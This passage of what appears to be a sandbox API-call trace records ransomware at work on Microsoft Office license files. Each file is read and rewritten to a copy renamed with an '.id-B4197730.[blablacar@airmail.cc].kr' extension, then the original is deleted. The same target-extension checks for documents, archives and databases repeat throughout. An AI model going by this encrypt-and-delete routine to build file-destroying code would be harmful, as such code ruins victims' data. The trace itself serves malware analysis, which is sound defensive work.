Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.032] lstrlenW (lpString=".doc") returned 4 [0202.032] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString=".docx") returned 5 [0202.032] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.032] lstrlenW (lpString=".pdf") returned 4 [0202.032] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString=".xls") returned 4 [0202.032] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString=".xlsx") returned 5 [0202.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.032] lstrlenW (lpString=".ppt") returned 4 [0202.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.032] lstrlenW (lpString=".zip") returned 4 [0202.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString=".rar") returned 4 [0202.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString=".bz2") returned 4 [0202.032] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString=".7z") returned 3 [0202.032] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.032] lstrlenW (lpString=".dbf") returned 4 [0202.032] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.032] lstrlenW (lpString=".1cd") returned 4 [0202.032] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.033] lstrlenW (lpString=".jpg") returned 4 [0202.033] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.033] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.033] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0202.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.034] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11219) returned 1 [0202.034] CloseHandle (hObject=0x548) returned 1 [0202.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0202.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.035] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.035] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.036] GetLastError () returned 0x0 [0202.036] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0202.037] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0202.039] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.039] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x128, lpOverlapped=0x0) returned 1 [0202.039] SetEndOfFile (hFile=0x534) returned 1 [0202.039] CloseHandle (hObject=0x534) returned 1 [0202.039] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.039] SetEndOfFile (hFile=0x548) returned 1 [0202.042] CloseHandle (hObject=0x548) returned 1 [0202.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0202.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.043] lstrlenW (lpString=".doc") returned 4 [0202.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.043] lstrlenW (lpString=".docx") returned 5 [0202.043] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.043] lstrlenW (lpString=".pdf") returned 4 [0202.043] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.043] lstrlenW (lpString=".xls") returned 4 [0202.043] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.043] lstrlenW (lpString=".xlsx") returned 5 [0202.043] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.043] lstrlenW (lpString=".ppt") returned 4 [0202.044] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.044] lstrlenW (lpString=".zip") returned 4 [0202.044] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString=".rar") returned 4 [0202.044] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString=".bz2") returned 4 [0202.044] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString=".7z") returned 3 [0202.044] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.044] lstrlenW (lpString=".dbf") returned 4 [0202.044] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.044] lstrlenW (lpString=".1cd") returned 4 [0202.044] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.044] lstrlenW (lpString=".jpg") returned 4 [0202.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.044] lstrlenW (lpString=".doc") returned 4 [0202.044] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString=".docx") returned 5 [0202.044] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.044] lstrlenW (lpString=".pdf") returned 4 [0202.044] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString=".xls") returned 4 [0202.044] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.044] lstrlenW (lpString=".xlsx") returned 5 [0202.044] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.044] lstrlenW (lpString=".ppt") returned 4 [0202.044] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.045] lstrlenW (lpString=".zip") returned 4 [0202.045] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.045] lstrlenW (lpString=".rar") returned 4 [0202.045] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.045] lstrlenW (lpString=".bz2") returned 4 [0202.045] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.045] lstrlenW (lpString=".7z") returned 3 [0202.045] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.045] lstrlenW (lpString=".dbf") returned 4 [0202.045] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.045] lstrlenW (lpString=".1cd") returned 4 [0202.045] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0202.045] lstrlenW (lpString=".jpg") returned 4 [0202.045] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.045] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.045] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0202.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.046] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=23207) returned 1 [0202.046] CloseHandle (hObject=0x548) returned 1 [0202.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0202.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.047] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.047] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.047] GetLastError () returned 0x0 [0202.048] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5aa7, lpOverlapped=0x0) returned 1 [0202.050] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5ab0, lpOverlapped=0x0) returned 1 [0202.051] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.051] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x12a, lpOverlapped=0x0) returned 1 [0202.051] SetEndOfFile (hFile=0x534) returned 1 [0202.052] CloseHandle (hObject=0x534) returned 1 [0202.052] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.052] SetEndOfFile (hFile=0x548) returned 1 [0202.054] CloseHandle (hObject=0x548) returned 1 [0202.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0202.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.056] lstrlenW (lpString=".doc") returned 4 [0202.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString=".docx") returned 5 [0202.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.056] lstrlenW (lpString=".pdf") returned 4 [0202.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString=".xls") returned 4 [0202.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString=".xlsx") returned 5 [0202.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.056] lstrlenW (lpString=".ppt") returned 4 [0202.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.056] lstrlenW (lpString=".zip") returned 4 [0202.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString=".rar") returned 4 [0202.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString=".bz2") returned 4 [0202.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString=".7z") returned 3 [0202.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.056] lstrlenW (lpString=".dbf") returned 4 [0202.056] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.056] lstrlenW (lpString=".1cd") returned 4 [0202.056] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.056] lstrlenW (lpString=".jpg") returned 4 [0202.056] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.057] lstrlenW (lpString=".doc") returned 4 [0202.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString=".docx") returned 5 [0202.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.057] lstrlenW (lpString=".pdf") returned 4 [0202.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString=".xls") returned 4 [0202.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString=".xlsx") returned 5 [0202.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.057] lstrlenW (lpString=".ppt") returned 4 [0202.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.057] lstrlenW (lpString=".zip") returned 4 [0202.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString=".rar") returned 4 [0202.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString=".bz2") returned 4 [0202.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString=".7z") returned 3 [0202.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.057] lstrlenW (lpString=".dbf") returned 4 [0202.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.057] lstrlenW (lpString=".1cd") returned 4 [0202.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0202.057] lstrlenW (lpString=".jpg") returned 4 [0202.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.058] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.058] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0202.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.058] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11674) returned 1 [0202.058] CloseHandle (hObject=0x548) returned 1 [0202.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0202.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.059] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.059] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.060] GetLastError () returned 0x0 [0202.060] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0202.154] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2da0, lpOverlapped=0x0) returned 1 [0202.155] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.155] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x130, lpOverlapped=0x0) returned 1 [0202.155] SetEndOfFile (hFile=0x534) returned 1 [0202.155] CloseHandle (hObject=0x534) returned 1 [0202.155] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.155] SetEndOfFile (hFile=0x548) returned 1 [0202.258] CloseHandle (hObject=0x548) returned 1 [0202.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0202.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.263] lstrlenW (lpString=".doc") returned 4 [0202.263] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.263] lstrlenW (lpString=".docx") returned 5 [0202.263] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.263] lstrlenW (lpString=".pdf") returned 4 [0202.263] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.263] lstrlenW (lpString=".xls") returned 4 [0202.263] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.263] lstrlenW (lpString=".xlsx") returned 5 [0202.263] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.263] lstrlenW (lpString=".ppt") returned 4 [0202.263] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.263] lstrlenW (lpString=".zip") returned 4 [0202.263] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.263] lstrlenW (lpString=".rar") returned 4 [0202.263] 